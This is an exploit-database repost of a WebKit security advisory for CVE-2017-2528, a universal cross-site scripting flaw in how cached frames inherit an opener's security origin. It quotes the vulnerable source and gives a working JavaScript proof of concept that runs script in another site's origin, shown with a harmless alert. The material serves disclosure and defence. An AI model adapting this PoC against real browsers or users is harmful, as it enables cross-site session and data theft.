WebKit CachedFrame Universal Cross Site Scripting

2017.06.01
Credit: lokihardt
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

WebKit: UXSS: CachedFrame doesn&#39;t detach openers CVE-2017-2528 When a document loads "about:blank" or "about:srcdoc", it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. Normally, it doesn't happen that a subframe's document inherits its opener frame's security origin, because it has the parent frame. And it shouldn't happen at all. However, when the subframe is cached, only the parent frame is detached but not the opener frame. So, inheriting the opener frame's security origin could happen in that case. void Document::initSecurityContext() { ... if (!shouldInheritSecurityOriginFromOwner(m_url)) <<----- check m_url is about:blank or about:srcdoc. return; // If we do not obtain a meaningful origin from the URL, then we try to // find one via the frame hierarchy. Frame* parentFrame = m_frame->tree().parent(); Frame* openerFrame = m_frame->loader().opener(); Frame* ownerFrame = parentFrame; if (!ownerFrame) ownerFrame = openerFrame; if (!ownerFrame) { didFailToInitializeSecurityOrigin(); return; } ... setCookieURL(ownerFrame->document()->cookieURL()); // We alias the SecurityOrigins to match Firefox, see Bug 15313 // <a href="https://bugs.webkit.org/show_bug.cgi?id=15313" title="" class="" rel="nofollow">https://bugs.webkit.org/show_bug.cgi?id=15313</a> setSecurityOriginPolicy(ownerFrame->document()->securityOriginPolicy()); ... } PoC: <body> Click anywhere. <script> window.onclick = () => { window.onclick = null; let w = open('about:blank', '', 'width=500, height=500'); w.eval(` let f = document.body.appendChild(document.createElement('iframe')); f.contentWindow.name = 'zzz'; opener.open('about:blank', 'zzz'); function navigate(w, url, cb = null) { w.__check = true; let a = w.document.createElement('a'); a.href = url; a.click(); if (!cb) return; let it = setInterval(() => { let navigated = false; try { if (!w.__check) navigated = true; } catch (e) { navigated = true; } if (navigated) { clearInterval(it); cb(); } }, 10); } navigate(opener, '<a href="https://abc.xyz/" title="" class="" rel="nofollow">https://abc.xyz/</a>', () => { f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>'; f.contentWindow.onbeforeunload = () => { f.contentWindow.onbeforeunload = null; navigate(window, 'about:blank'); }; navigate(f.contentWindow, 'about:srcdoc'); });`); } </script> </body> This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top